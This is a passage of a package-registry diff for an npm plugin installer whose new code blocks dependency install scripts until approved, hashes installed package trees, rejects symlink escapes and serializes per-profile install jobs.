@1e0zj/dsh-plugin-mall 0.1.17 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +92 -6
- package/package.json +6 -2
- package/src/cli.js +1638 -0
- package/src/client.js +213 -57
- package/src/github.js +121 -26
- package/src/guard.js +2413 -0
- package/src/index.js +1650 -88
- package/src/installer.js +1585 -77
package/src/installer.js
CHANGED
|
@@ -6,13 +6,17 @@
|
|
|
6
6
|
// command does (see @deepseek-ai/dsh/lib/plugin-*.js), reusing the public
|
|
7
7
|
// @deepseek-ai/dsh-app-boot APIs for profile resolution and initialization.
|
|
8
8
|
|
|
9
|
-
import { spawn } from "node:child_process";
|
|
10
|
-
import { existsSync, readFileSync, writeFileSync, rmSync } from "node:fs";
|
|
11
|
-
import { join } from "node:path";
|
|
9
|
+
import { spawn, spawnSync } from "node:child_process";
|
|
10
|
+
import { existsSync, mkdirSync, mkdtempSync, readFileSync, writeFileSync, rmSync, readdirSync, statSync, lstatSync, realpathSync, readlinkSync } from "node:fs";
|
|
11
|
+
import { basename, dirname, join, relative, resolve, isAbsolute, sep } from "node:path";
|
|
12
12
|
import { createRequire } from "node:module";
|
|
13
|
-
import {
|
|
13
|
+
import { EventEmitter } from "node:events";
|
|
14
|
+
import { tmpdir } from "node:os";
|
|
15
|
+
import { createHash } from "node:crypto";
|
|
16
|
+
import { dump, load } from "js-yaml";
|
|
14
17
|
import { DEFAULT_PROFILE_BUNDLES, PROFILE_TEMPLATES, initProfile, resolveProfileDir } from "@deepseek-ai/dsh-app-boot";
|
|
15
18
|
import { describeBuildScripts, npmNameOf } from "./github.js";
|
|
19
|
+
import { commitPendingSnapshot, createProfileSnapshot, markPendingSnapshot, pnpmGuardEnv, rollbackPendingSnapshot } from "./guard.js";
|
|
16
20
|
|
|
17
21
|
// ── spec normalization ──────────────────────────────────────────────────────
|
|
18
22
|
|
|
@@ -392,7 +396,20 @@ function parseIgnoredBuilds(output) {
|
|
|
392
396
|
// dropped instead of being written to the YAML.
|
|
393
397
|
const suffix = /@(?:([\w.+-]+)|https?:\/\/\S+|file:\S+|link:\S+|github:\S+)$/.exec(candidate);
|
|
394
398
|
const name = suffix === null ? candidate : candidate.slice(0, suffix.index);
|
|
395
|
-
|
|
399
|
+
// Keep pnpm's exact selector (for example
|
|
400
|
+
// `fixture-native-pkg@file:../pkg`). `allowBuilds` matches that selector,
|
|
401
|
+
// not always the bare package name. It is never accepted from a caller:
|
|
402
|
+
// it comes only from pnpm's own single-line diagnostic and is rendered
|
|
403
|
+
// back through js-yaml, after rejecting control characters.
|
|
404
|
+
const selector = candidate;
|
|
405
|
+
if (
|
|
406
|
+
NPM_NAME_RE.test(name)
|
|
407
|
+
&& selector.length <= 512
|
|
408
|
+
&& !/[\u0000-\u001f\u007f]/.test(selector)
|
|
409
|
+
&& !found.has(selector)
|
|
410
|
+
) {
|
|
411
|
+
found.set(selector, { name, version: suffix?.[1], selector });
|
|
412
|
+
}
|
|
396
413
|
}
|
|
397
414
|
}
|
|
398
415
|
return [...found.values()];
|
|
@@ -460,6 +477,9 @@ export function mergeAllowBuilds(content, names) {
|
|
|
460
477
|
const base = lines.join("\n");
|
|
461
478
|
next = `${base.endsWith("\n") ? base : `${base}\n`}\nallowBuilds:\n${additions.map(render).join("\n")}\n`;
|
|
462
479
|
} else {
|
|
480
|
+
if (/^allowBuilds\s*:\s*(\{\}|\[\])\s*$/.test(lines[keyIndex])) {
|
|
481
|
+
lines[keyIndex] = "allowBuilds:";
|
|
482
|
+
}
|
|
463
483
|
// 块内 = 缩进行;空行不终止块;顶格行是下一个 key。
|
|
464
484
|
let insertIndex = keyIndex + 1;
|
|
465
485
|
for (let index = keyIndex + 1; index < lines.length; index++) {
|
|
@@ -473,6 +493,409 @@ export function mergeAllowBuilds(content, names) {
|
|
|
473
493
|
return next;
|
|
474
494
|
}
|
|
475
495
|
|
|
496
|
+
/**
|
|
497
|
+
* Neutralize allowBuilds in pnpm-workspace.yaml so that all lifecycle scripts
|
|
498
|
+
* are strictly blocked by pnpm on the initial install.
|
|
499
|
+
* @param content - current pnpm-workspace.yaml contents.
|
|
500
|
+
* @returns the neutralized workspace yaml.
|
|
501
|
+
*/
|
|
502
|
+
export function neutralizeWorkspaceContent(content) {
|
|
503
|
+
const source = typeof content === "string" ? content : DEFAULT_WORKSPACE_YAML;
|
|
504
|
+
let parsed;
|
|
505
|
+
try {
|
|
506
|
+
parsed = load(source);
|
|
507
|
+
} catch (error) {
|
|
508
|
+
throw new Error(`pnpm-workspace.yaml does not parse, refusing to run an install: ${error.message}`);
|
|
509
|
+
}
|
|
510
|
+
if (parsed === null || parsed === undefined) parsed = {};
|
|
511
|
+
if (typeof parsed !== "object" || Array.isArray(parsed)) {
|
|
512
|
+
throw new Error("pnpm-workspace.yaml root must be a mapping");
|
|
513
|
+
}
|
|
514
|
+
parsed.allowBuilds = {};
|
|
515
|
+
parsed.onlyBuiltDependencies = [];
|
|
516
|
+
parsed.dangerouslyAllowAllBuilds = false;
|
|
517
|
+
return dump(parsed, { lineWidth: -1, noRefs: true, sortKeys: false });
|
|
518
|
+
}
|
|
519
|
+
|
|
520
|
+
/** Enable exactly the selectors pnpm itself reported while every broad build
|
|
521
|
+
* policy switch stays disabled. The caller restores these temporary bytes as
|
|
522
|
+
* soon as the rebuild process closes. */
|
|
523
|
+
export function enableApprovedBuildSelectors(content, selectors) {
|
|
524
|
+
const parsed = load(neutralizeWorkspaceContent(content));
|
|
525
|
+
const allowBuilds = {};
|
|
526
|
+
for (const raw of Array.isArray(selectors) ? selectors : []) {
|
|
527
|
+
const selector = String(raw ?? "");
|
|
528
|
+
if (selector.length === 0 || selector.length > 512 || /[\u0000-\u001f\u007f]/.test(selector)) {
|
|
529
|
+
throw new Error(`invalid pnpm build selector ${JSON.stringify(raw)}`);
|
|
530
|
+
}
|
|
531
|
+
allowBuilds[selector] = true;
|
|
532
|
+
}
|
|
533
|
+
if (Object.keys(allowBuilds).length === 0) throw new Error("no build selectors were approved");
|
|
534
|
+
parsed.allowBuilds = allowBuilds;
|
|
535
|
+
return dump(parsed, { lineWidth: -1, noRefs: true, sortKeys: false });
|
|
536
|
+
}
|
|
537
|
+
|
|
538
|
+
/** Legacy package.json policy may authorize scripts before the workspace gate
|
|
539
|
+
* sees them. Refuse it: restoring the whole manifest after a successful add
|
|
540
|
+
* would also erase the newly installed dependency. */
|
|
541
|
+
export function assertNoManifestBuildBypass(profileDir) {
|
|
542
|
+
const manifest = JSON.parse(readFileSync(join(profileDir, "package.json"), "utf8"));
|
|
543
|
+
const pnpm = manifest?.pnpm;
|
|
544
|
+
if (pnpm && typeof pnpm === "object") {
|
|
545
|
+
if (pnpm.dangerouslyAllowAllBuilds === true) throw new Error("package.json pnpm.dangerouslyAllowAllBuilds=true would bypass install-script approval");
|
|
546
|
+
if (Array.isArray(pnpm.onlyBuiltDependencies) && pnpm.onlyBuiltDependencies.length > 0) throw new Error("package.json pnpm.onlyBuiltDependencies pre-authorizes install scripts");
|
|
547
|
+
if (pnpm.allowBuilds && typeof pnpm.allowBuilds === "object" && Object.values(pnpm.allowBuilds).some((value) => value === true)) {
|
|
548
|
+
throw new Error("package.json pnpm.allowBuilds pre-authorizes install scripts");
|
|
549
|
+
}
|
|
550
|
+
}
|
|
551
|
+
const dependenciesMeta = manifest?.dependenciesMeta;
|
|
552
|
+
if (dependenciesMeta && typeof dependenciesMeta === "object") {
|
|
553
|
+
for (const [selector, metadata] of Object.entries(dependenciesMeta)) {
|
|
554
|
+
if (metadata?.built === true) throw new Error(`package.json dependenciesMeta.${selector}.built=true would bypass install-script approval`);
|
|
555
|
+
}
|
|
556
|
+
}
|
|
557
|
+
}
|
|
558
|
+
|
|
559
|
+
/**
|
|
560
|
+
* Deterministically hash the normalized package tree of a materialized package.
|
|
561
|
+
* Computes SHA-256 over relative POSIX file paths and raw file bytes.
|
|
562
|
+
* Rejects symlink escapes pointing outside the package directory.
|
|
563
|
+
* @param pkgDir - absolute path to the materialized package directory.
|
|
564
|
+
* @returns SHA-256 hex string.
|
|
565
|
+
*/
|
|
566
|
+
export function hashPackageTree(pkgDir) {
|
|
567
|
+
if (typeof pkgDir !== "string" || !existsSync(pkgDir)) {
|
|
568
|
+
throw new Error(`cannot hash package tree: directory ${JSON.stringify(pkgDir)} does not exist`);
|
|
569
|
+
}
|
|
570
|
+
const realRoot = realpathSync(pkgDir);
|
|
571
|
+
const hash = createHash("sha256");
|
|
572
|
+
const files = [];
|
|
573
|
+
const visitedDirectories = new Set();
|
|
574
|
+
|
|
575
|
+
function walk(currentDir) {
|
|
576
|
+
const currentReal = realpathSync(currentDir);
|
|
577
|
+
if (visitedDirectories.has(currentReal)) {
|
|
578
|
+
throw new Error(`symlink cycle detected in package tree at ${currentDir}`);
|
|
579
|
+
}
|
|
580
|
+
visitedDirectories.add(currentReal);
|
|
581
|
+
let entries;
|
|
582
|
+
try {
|
|
583
|
+
entries = readdirSync(currentDir, { withFileTypes: true });
|
|
584
|
+
} catch (err) {
|
|
585
|
+
throw new Error(`cannot read directory ${currentDir}: ${err.message}`);
|
|
586
|
+
}
|
|
587
|
+
entries.sort((a, b) => a.name.localeCompare(b.name));
|
|
588
|
+
for (const entry of entries) {
|
|
589
|
+
const entryName = entry.name;
|
|
590
|
+
// npm excludes .git metadata from packed artifacts. Package-local
|
|
591
|
+
// node_modules is NOT skipped: bundledDependencies are executable bytes
|
|
592
|
+
// belonging to the artifact and must be covered by the approval proof.
|
|
593
|
+
if (entryName === ".git") continue;
|
|
594
|
+
|
|
595
|
+
const fullPath = join(currentDir, entryName);
|
|
596
|
+
let lstat;
|
|
597
|
+
try {
|
|
598
|
+
lstat = lstatSync(fullPath);
|
|
599
|
+
} catch (err) {
|
|
600
|
+
throw new Error(`cannot stat ${fullPath}: ${err.message}`);
|
|
601
|
+
}
|
|
602
|
+
|
|
603
|
+
if (lstat.isSymbolicLink()) {
|
|
604
|
+
let targetReal;
|
|
605
|
+
try {
|
|
606
|
+
targetReal = realpathSync(fullPath);
|
|
607
|
+
} catch (err) {
|
|
608
|
+
throw new Error(`unresolvable symlink ${fullPath}: ${err.message}`);
|
|
609
|
+
}
|
|
610
|
+
const rel = relative(realRoot, targetReal);
|
|
611
|
+
if (rel === ".." || rel.startsWith(`..${sep}`) || isAbsolute(rel)) {
|
|
612
|
+
throw new Error(`symlink escape detected in package tree: ${fullPath} points outside package root to ${targetReal}`);
|
|
613
|
+
}
|
|
614
|
+
let targetStat;
|
|
615
|
+
try {
|
|
616
|
+
targetStat = statSync(targetReal);
|
|
617
|
+
} catch (err) {
|
|
618
|
+
throw new Error(`cannot stat symlink target ${targetReal}: ${err.message}`);
|
|
619
|
+
}
|
|
620
|
+
const relPath = relative(realRoot, fullPath).replace(/\\/g, "/");
|
|
621
|
+
const linkTarget = readlinkSync(fullPath).replace(/\\/g, "/");
|
|
622
|
+
hash.update(`link:${relPath}\0${linkTarget}\0${lstat.mode & 0o777}\0`);
|
|
623
|
+
if (targetStat.isDirectory()) {
|
|
624
|
+
walk(fullPath);
|
|
625
|
+
} else if (targetStat.isFile()) {
|
|
626
|
+
files.push({ relPath, fullPath: targetReal, mode: targetStat.mode & 0o777 });
|
|
627
|
+
}
|
|
628
|
+
} else if (lstat.isDirectory()) {
|
|
629
|
+
walk(fullPath);
|
|
630
|
+
} else if (lstat.isFile()) {
|
|
631
|
+
const relPath = relative(realRoot, fullPath).replace(/\\/g, "/");
|
|
632
|
+
files.push({ relPath, fullPath, mode: lstat.mode & 0o777 });
|
|
633
|
+
}
|
|
634
|
+
}
|
|
635
|
+
visitedDirectories.delete(currentReal);
|
|
636
|
+
}
|
|
637
|
+
|
|
638
|
+
walk(realRoot);
|
|
639
|
+
files.sort((a, b) => a.relPath.localeCompare(b.relPath));
|
|
640
|
+
|
|
641
|
+
for (const { relPath, fullPath, mode } of files) {
|
|
642
|
+
let content;
|
|
643
|
+
try {
|
|
644
|
+
content = readFileSync(fullPath);
|
|
645
|
+
} catch (err) {
|
|
646
|
+
throw new Error(`cannot read file ${fullPath} during package hashing: ${err.message}`);
|
|
647
|
+
}
|
|
648
|
+
hash.update(`file:${relPath}\0${mode}\0${content.length}\0`);
|
|
649
|
+
hash.update(content);
|
|
650
|
+
}
|
|
651
|
+
|
|
652
|
+
return hash.digest("hex");
|
|
653
|
+
}
|
|
654
|
+
|
|
655
|
+
/**
|
|
656
|
+
* Locate a materialized package under <profileDir>/node_modules or .pnpm virtual store.
|
|
657
|
+
* Strictly never falls back to ancestor node resolution.
|
|
658
|
+
* @param profileDir - target profile directory.
|
|
659
|
+
* @param pkgName - npm package name.
|
|
660
|
+
* @param version - optional specific version.
|
|
661
|
+
* @returns {{ dir: string, manifest: object }}
|
|
662
|
+
*/
|
|
663
|
+
export function findMaterializedPackage(profileDir, pkgName, version) {
|
|
664
|
+
if (typeof pkgName !== "string" || !NPM_NAME_RE.test(pkgName)) {
|
|
665
|
+
throw new Error(`invalid package name ${JSON.stringify(pkgName)} for materialized resolution`);
|
|
666
|
+
}
|
|
667
|
+
const modulesRoot = resolve(profileDir, "node_modules");
|
|
668
|
+
|
|
669
|
+
// 1. Direct candidate path in profileDir/node_modules
|
|
670
|
+
const direct = resolve(modulesRoot, ...pkgName.split("/"));
|
|
671
|
+
const directManifestPath = join(direct, "package.json");
|
|
672
|
+
if (existsSync(directManifestPath)) {
|
|
673
|
+
try {
|
|
674
|
+
const manifest = JSON.parse(readFileSync(directManifestPath, "utf8"));
|
|
675
|
+
if (manifest && typeof manifest === "object" && manifest.name === pkgName) {
|
|
676
|
+
if (!version || manifest.version === version) {
|
|
677
|
+
const realDir = realpathSync(direct);
|
|
678
|
+
return { dir: realDir, manifest };
|
|
679
|
+
}
|
|
680
|
+
}
|
|
681
|
+
} catch {
|
|
682
|
+
/* fallback to .pnpm */
|
|
683
|
+
}
|
|
684
|
+
}
|
|
685
|
+
|
|
686
|
+
// 2. Search in node_modules/.pnpm virtual store
|
|
687
|
+
const pnpmDir = join(modulesRoot, ".pnpm");
|
|
688
|
+
const matches = [];
|
|
689
|
+
if (existsSync(pnpmDir)) {
|
|
690
|
+
try {
|
|
691
|
+
const entries = readdirSync(pnpmDir, { withFileTypes: true });
|
|
692
|
+
for (const entry of entries) {
|
|
693
|
+
if (!entry.isDirectory()) continue;
|
|
694
|
+
const candidatePath = join(pnpmDir, entry.name, "node_modules", ...pkgName.split("/"));
|
|
695
|
+
const mPath = join(candidatePath, "package.json");
|
|
696
|
+
if (existsSync(mPath)) {
|
|
697
|
+
try {
|
|
698
|
+
const manifest = JSON.parse(readFileSync(mPath, "utf8"));
|
|
699
|
+
if (manifest && typeof manifest === "object" && manifest.name === pkgName) {
|
|
700
|
+
if (!version || manifest.version === version) {
|
|
701
|
+
matches.push({ dir: realpathSync(candidatePath), manifest });
|
|
702
|
+
}
|
|
703
|
+
}
|
|
704
|
+
} catch {}
|
|
705
|
+
}
|
|
706
|
+
}
|
|
707
|
+
} catch {}
|
|
708
|
+
}
|
|
709
|
+
|
|
710
|
+
const uniqueMatches = [];
|
|
711
|
+
const seenPaths = new Set();
|
|
712
|
+
for (const match of matches) {
|
|
713
|
+
if (!seenPaths.has(match.dir)) {
|
|
714
|
+
seenPaths.add(match.dir);
|
|
715
|
+
uniqueMatches.push(match);
|
|
716
|
+
}
|
|
717
|
+
}
|
|
718
|
+
|
|
719
|
+
if (uniqueMatches.length === 1) {
|
|
720
|
+
return uniqueMatches[0];
|
|
721
|
+
}
|
|
722
|
+
if (uniqueMatches.length > 1) {
|
|
723
|
+
throw new Error(`ambiguous materialized package resolution for ${pkgName}${version ? `@${version}` : ""}: multiple distinct copies found in .pnpm`);
|
|
724
|
+
}
|
|
725
|
+
|
|
726
|
+
throw new Error(`cannot locate materialized package directory for ${pkgName}${version ? `@${version}` : ""} in ${profileDir}`);
|
|
727
|
+
}
|
|
728
|
+
|
|
729
|
+
/** Extract sorted lifecycle script commands (preinstall, install, postinstall) from manifest. */
|
|
730
|
+
export function extractLifecycleScripts(manifest) {
|
|
731
|
+
const scripts = {};
|
|
732
|
+
const raw = manifest?.scripts;
|
|
733
|
+
if (raw && typeof raw === "object") {
|
|
734
|
+
for (const key of ["preinstall", "install", "postinstall"]) {
|
|
735
|
+
if (typeof raw[key] === "string" && raw[key].trim().length > 0) {
|
|
736
|
+
scripts[key] = raw[key];
|
|
737
|
+
}
|
|
738
|
+
}
|
|
739
|
+
}
|
|
740
|
+
return scripts;
|
|
741
|
+
}
|
|
742
|
+
|
|
743
|
+
/** Resolve direct candidate package name from profile state, spec, or preflight. */
|
|
744
|
+
export function resolveCandidateName(profileDir, spec, beforeDeps = new Set(), preflight) {
|
|
745
|
+
if (preflight?.candidate?.name && typeof preflight.candidate.name === "string") {
|
|
746
|
+
return preflight.candidate.name;
|
|
747
|
+
}
|
|
748
|
+
const manifestPath = join(profileDir, "package.json");
|
|
749
|
+
if (existsSync(manifestPath)) {
|
|
750
|
+
try {
|
|
751
|
+
const manifest = JSON.parse(readFileSync(manifestPath, "utf8"));
|
|
752
|
+
const newDeps = Object.keys(manifest.dependencies ?? {}).filter((d) => !beforeDeps.has(d));
|
|
753
|
+
if (newDeps.length === 1) return newDeps[0];
|
|
754
|
+
} catch {}
|
|
755
|
+
}
|
|
756
|
+
if (typeof spec === "string") {
|
|
757
|
+
const raw = spec.trim();
|
|
758
|
+
if (/^(?:file:|link:)/i.test(raw)) {
|
|
759
|
+
const localDir = resolve(profileDir, raw.replace(/^(?:file:|link:)/i, "").replace(/[\\/]+$/, ""));
|
|
760
|
+
const localPkg = join(localDir, "package.json");
|
|
761
|
+
if (existsSync(localPkg)) {
|
|
762
|
+
try {
|
|
763
|
+
const m = JSON.parse(readFileSync(localPkg, "utf8"));
|
|
764
|
+
if (m?.name) return m.name;
|
|
765
|
+
} catch {}
|
|
766
|
+
}
|
|
767
|
+
}
|
|
768
|
+
const name = npmNameOf(raw);
|
|
769
|
+
if (name) return name;
|
|
770
|
+
}
|
|
771
|
+
const modulesRoot = join(profileDir, "node_modules");
|
|
772
|
+
if (existsSync(modulesRoot)) {
|
|
773
|
+
try {
|
|
774
|
+
const entries = readdirSync(modulesRoot, { withFileTypes: true });
|
|
775
|
+
for (const entry of entries) {
|
|
776
|
+
if (entry.name === ".pnpm" || entry.name.startsWith(".")) continue;
|
|
777
|
+
if (entry.name.startsWith("@")) {
|
|
778
|
+
const scopeEntries = readdirSync(join(modulesRoot, entry.name), { withFileTypes: true });
|
|
779
|
+
for (const se of scopeEntries) {
|
|
780
|
+
const fullName = `${entry.name}/${se.name}`;
|
|
781
|
+
if (!beforeDeps.has(fullName)) return fullName;
|
|
782
|
+
}
|
|
783
|
+
} else if (!beforeDeps.has(entry.name)) {
|
|
784
|
+
return entry.name;
|
|
785
|
+
}
|
|
786
|
+
}
|
|
787
|
+
} catch {}
|
|
788
|
+
}
|
|
789
|
+
return undefined;
|
|
790
|
+
}
|
|
791
|
+
|
|
792
|
+
/**
|
|
793
|
+
* Compute the canonical artifact proof from the materialized package tree.
|
|
794
|
+
* Includes direct candidate identity (and content hash) even when its own
|
|
795
|
+
* scripts are not blocked, plus every blocked package with resolved name, version,
|
|
796
|
+
* sorted lifecycle scripts, and content hash.
|
|
797
|
+
* @param profileDir - target profile directory.
|
|
798
|
+
* @param candidateName - candidate package name.
|
|
799
|
+
* @param ignoredList - array of {name, version} or string names blocked by pnpm.
|
|
800
|
+
* @returns canonical proof object.
|
|
801
|
+
*/
|
|
802
|
+
export function computeMaterializedProof(profileDir, candidateName, ignoredList = []) {
|
|
803
|
+
if (!candidateName) {
|
|
804
|
+
throw new Error("cannot compute materialized proof: candidate package name is missing or unresolved");
|
|
805
|
+
}
|
|
806
|
+
const candidatePkg = findMaterializedPackage(profileDir, candidateName);
|
|
807
|
+
const candidateScripts = extractLifecycleScripts(candidatePkg.manifest);
|
|
808
|
+
const candidateHash = hashPackageTree(candidatePkg.dir);
|
|
809
|
+
const candidateProof = {
|
|
810
|
+
name: candidatePkg.manifest.name ?? candidateName,
|
|
811
|
+
version: candidatePkg.manifest.version ?? "unknown",
|
|
812
|
+
scripts: candidateScripts,
|
|
813
|
+
contentHash: candidateHash,
|
|
814
|
+
};
|
|
815
|
+
|
|
816
|
+
const blockedPackages = [];
|
|
817
|
+
const seen = new Set();
|
|
818
|
+
for (const entry of ignoredList) {
|
|
819
|
+
const pkgName = typeof entry === "string" ? entry.trim() : entry?.name?.trim();
|
|
820
|
+
const selector = typeof entry === "object" && typeof entry?.selector === "string" ? entry.selector : pkgName;
|
|
821
|
+
if (!pkgName || !selector || seen.has(selector)) continue;
|
|
822
|
+
seen.add(selector);
|
|
823
|
+
const version = typeof entry === "object" ? entry.version : undefined;
|
|
824
|
+
const pkg = findMaterializedPackage(profileDir, pkgName, version);
|
|
825
|
+
const scripts = extractLifecycleScripts(pkg.manifest);
|
|
826
|
+
const contentHash = hashPackageTree(pkg.dir);
|
|
827
|
+
blockedPackages.push({
|
|
828
|
+
name: pkg.manifest.name ?? pkgName,
|
|
829
|
+
version: pkg.manifest.version ?? "unknown",
|
|
830
|
+
selector,
|
|
831
|
+
direct: pkgName === candidateName,
|
|
832
|
+
scripts,
|
|
833
|
+
contentHash,
|
|
834
|
+
});
|
|
835
|
+
}
|
|
836
|
+
|
|
837
|
+
blockedPackages.sort((a, b) => a.name.localeCompare(b.name) || a.version.localeCompare(b.version) || a.selector.localeCompare(b.selector));
|
|
838
|
+
|
|
839
|
+
return {
|
|
840
|
+
candidate: candidateProof,
|
|
841
|
+
blockedPackages,
|
|
842
|
+
};
|
|
843
|
+
}
|
|
844
|
+
|
|
845
|
+
/** Deterministically serialize a canonical proof object into canonical JSON. */
|
|
846
|
+
export function serializeCanonicalProof(proof) {
|
|
847
|
+
if (!proof || typeof proof !== "object") return "";
|
|
848
|
+
const normalizeScripts = (scripts) => {
|
|
849
|
+
const out = {};
|
|
850
|
+
if (scripts && typeof scripts === "object") {
|
|
851
|
+
for (const key of ["preinstall", "install", "postinstall"]) {
|
|
852
|
+
if (typeof scripts[key] === "string") out[key] = scripts[key];
|
|
853
|
+
}
|
|
854
|
+
}
|
|
855
|
+
return out;
|
|
856
|
+
};
|
|
857
|
+
const normalizePkg = (pkg) => ({
|
|
858
|
+
name: String(pkg?.name ?? ""),
|
|
859
|
+
version: String(pkg?.version ?? ""),
|
|
860
|
+
selector: String(pkg?.selector ?? pkg?.name ?? ""),
|
|
861
|
+
direct: Boolean(pkg?.direct),
|
|
862
|
+
scripts: normalizeScripts(pkg?.scripts),
|
|
863
|
+
contentHash: String(pkg?.contentHash ?? ""),
|
|
864
|
+
});
|
|
865
|
+
const canonicalObj = {
|
|
866
|
+
candidate: {
|
|
867
|
+
name: String(proof.candidate?.name ?? ""),
|
|
868
|
+
version: String(proof.candidate?.version ?? ""),
|
|
869
|
+
scripts: normalizeScripts(proof.candidate?.scripts),
|
|
870
|
+
contentHash: String(proof.candidate?.contentHash ?? ""),
|
|
871
|
+
},
|
|
872
|
+
blockedPackages: Array.isArray(proof.blockedPackages)
|
|
873
|
+
? proof.blockedPackages.map(normalizePkg).sort((a, b) => a.name.localeCompare(b.name) || a.version.localeCompare(b.version) || a.selector.localeCompare(b.selector))
|
|
874
|
+
: [],
|
|
875
|
+
};
|
|
876
|
+
return JSON.stringify(canonicalObj);
|
|
877
|
+
}
|
|
878
|
+
|
|
879
|
+
/** Merge optional registry reputation facts with authoritative bytes read from
|
|
880
|
+
* the materialized package. Security fields always come from the proof. */
|
|
881
|
+
export function disclosureFromMaterializedProof(proof, hints = []) {
|
|
882
|
+
const hintList = Array.isArray(hints) ? hints : [];
|
|
883
|
+
return (Array.isArray(proof?.blockedPackages) ? proof.blockedPackages : []).map((actual) => {
|
|
884
|
+
const hint = hintList.find((entry) => entry?.name === actual.name && (entry?.version === undefined || entry.version === actual.version)) ?? {};
|
|
885
|
+
return {
|
|
886
|
+
weeklyDownloads: hint.weeklyDownloads,
|
|
887
|
+
provenance: hint.provenance,
|
|
888
|
+
unpackedSize: hint.unpackedSize,
|
|
889
|
+
name: actual.name,
|
|
890
|
+
version: actual.version,
|
|
891
|
+
selector: actual.selector,
|
|
892
|
+
direct: actual.direct,
|
|
893
|
+
scripts: actual.scripts,
|
|
894
|
+
contentHash: actual.contentHash,
|
|
895
|
+
};
|
|
896
|
+
});
|
|
897
|
+
}
|
|
898
|
+
|
|
476
899
|
/** Default pnpm-workspace.yaml for a profile that has none yet. */
|
|
477
900
|
const DEFAULT_WORKSPACE_YAML = "packages:\n - .\n\nnodeLinker: hoisted\n";
|
|
478
901
|
|
|
@@ -521,10 +944,10 @@ export function createJobTracker() {
|
|
|
521
944
|
}
|
|
522
945
|
};
|
|
523
946
|
return {
|
|
524
|
-
start({ profile, spec, verb = "add", allowBuildScripts }) {
|
|
947
|
+
start({ profile, spec, verb = "add", allowBuildScripts, approvedProof, preflight, onSettled }) {
|
|
525
948
|
const id = `market-${++trackerCounter}`;
|
|
526
949
|
const kind = verb === "remove" ? "dsh-plugin-uninstall" : "dsh-plugin-install";
|
|
527
|
-
const producer = verb === "remove" ? runRemove({ profile, packageName: spec }) : runInstall({ profile, spec, allowBuildScripts });
|
|
950
|
+
const producer = verb === "remove" ? runRemove({ profile, packageName: spec }) : runInstall({ profile, spec, allowBuildScripts, approvedProof, preflight });
|
|
528
951
|
const record = {
|
|
529
952
|
id,
|
|
530
953
|
kind,
|
|
@@ -544,6 +967,7 @@ export function createJobTracker() {
|
|
|
544
967
|
// 一段文本,用户看不出要批准的到底是什么。
|
|
545
968
|
record.needsApproval = outcome.needsApproval;
|
|
546
969
|
record.finishedAt = Date.now();
|
|
970
|
+
onSettled?.(outcome);
|
|
547
971
|
});
|
|
548
972
|
records.set(id, record);
|
|
549
973
|
prune();
|
|
@@ -627,6 +1051,147 @@ async function enablePnpmViaCorepack(push) {
|
|
|
627
1051
|
});
|
|
628
1052
|
}
|
|
629
1053
|
|
|
1054
|
+
// ── per-profile transaction serialization ───────────────────────────────────
|
|
1055
|
+
//
|
|
1056
|
+
// Install and remove mutate the same profile files (package.json, lockfile,
|
|
1057
|
+
// workspace yaml, patch layer) and node_modules. Two pnpm processes running
|
|
1058
|
+
// concurrently in one profile interleave those writes and can corrupt both
|
|
1059
|
+
// transactions. Every producer — add AND remove — therefore runs through a
|
|
1060
|
+
// per-profile in-process queue: a job starts only after the previous one
|
|
1061
|
+
// reached a terminal state, and the lock is released on every outcome
|
|
1062
|
+
// (completed/failed/killed) and on internal errors.
|
|
1063
|
+
|
|
1064
|
+
const profileQueues = new Map(); // lockKey -> Promise<void> tail
|
|
1065
|
+
|
|
1066
|
+
/** Lock key for a profile: the resolved dir when the name is valid. */
|
|
1067
|
+
function profileLockKey(profile) {
|
|
1068
|
+
try {
|
|
1069
|
+
return resolveProfileDir(profile);
|
|
1070
|
+
} catch {
|
|
1071
|
+
return `invalid:${String(profile)}`;
|
|
1072
|
+
}
|
|
1073
|
+
}
|
|
1074
|
+
|
|
1075
|
+
function enqueueProfileTask(lockKey, task) {
|
|
1076
|
+
const key = String(lockKey);
|
|
1077
|
+
const tail = profileQueues.get(key) ?? Promise.resolve();
|
|
1078
|
+
const run = tail.then(task, task);
|
|
1079
|
+
// The stored tail never rejects, so one poisoned task can never stall the
|
|
1080
|
+
// queue; it is dropped from the map once it is the latest settled tail.
|
|
1081
|
+
const stored = run.then(() => undefined, () => undefined);
|
|
1082
|
+
profileQueues.set(key, stored);
|
|
1083
|
+
void stored.then(() => {
|
|
1084
|
+
if (profileQueues.get(key) === stored) profileQueues.delete(key);
|
|
1085
|
+
});
|
|
1086
|
+
return run;
|
|
1087
|
+
}
|
|
1088
|
+
|
|
1089
|
+
/**
|
|
1090
|
+
* Run a producer factory under the profile's queue. The returned producer
|
|
1091
|
+
* settles `done` with the inner producer's outcome; cancel() before the job
|
|
1092
|
+
* starts settles it as killed without ever spawning pnpm. `done` ALWAYS
|
|
1093
|
+
* resolves with an outcome object — never rejects — so callers (and the
|
|
1094
|
+
* queue itself) have exactly one settlement path.
|
|
1095
|
+
*/
|
|
1096
|
+
function serializedProducer(lockKey, start) {
|
|
1097
|
+
let inner;
|
|
1098
|
+
let cancelRequested = false;
|
|
1099
|
+
const done = enqueueProfileTask(lockKey, () => {
|
|
1100
|
+
if (cancelRequested) {
|
|
1101
|
+
return { status: "killed", detail: "cancelled while queued behind another profile transaction — pnpm never ran" };
|
|
1102
|
+
}
|
|
1103
|
+
try {
|
|
1104
|
+
inner = start();
|
|
1105
|
+
} catch (error) {
|
|
1106
|
+
return { status: "failed", detail: error?.message ?? String(error) };
|
|
1107
|
+
}
|
|
1108
|
+
return Promise.resolve(inner.done).then(
|
|
1109
|
+
(outcome) => outcome,
|
|
1110
|
+
(error) => ({ status: "failed", detail: `internal error: ${error?.message ?? String(error)}` }),
|
|
1111
|
+
);
|
|
1112
|
+
});
|
|
1113
|
+
return {
|
|
1114
|
+
cancel: () => {
|
|
1115
|
+
cancelRequested = true;
|
|
1116
|
+
inner?.cancel();
|
|
1117
|
+
},
|
|
1118
|
+
done,
|
|
1119
|
+
readOutput: () => inner?.readOutput() ?? "",
|
|
1120
|
+
};
|
|
1121
|
+
}
|
|
1122
|
+
|
|
1123
|
+
// ── pnpm spawn plan (Windows cancel correctness) ────────────────────────────
|
|
1124
|
+
//
|
|
1125
|
+
// Killing a shell-wrapped process kills the WRAPPER, not pnpm: on Windows
|
|
1126
|
+
// `shell: true` spawns `cmd /d /s /c pnpm ...`, and proc.kill() terminates
|
|
1127
|
+
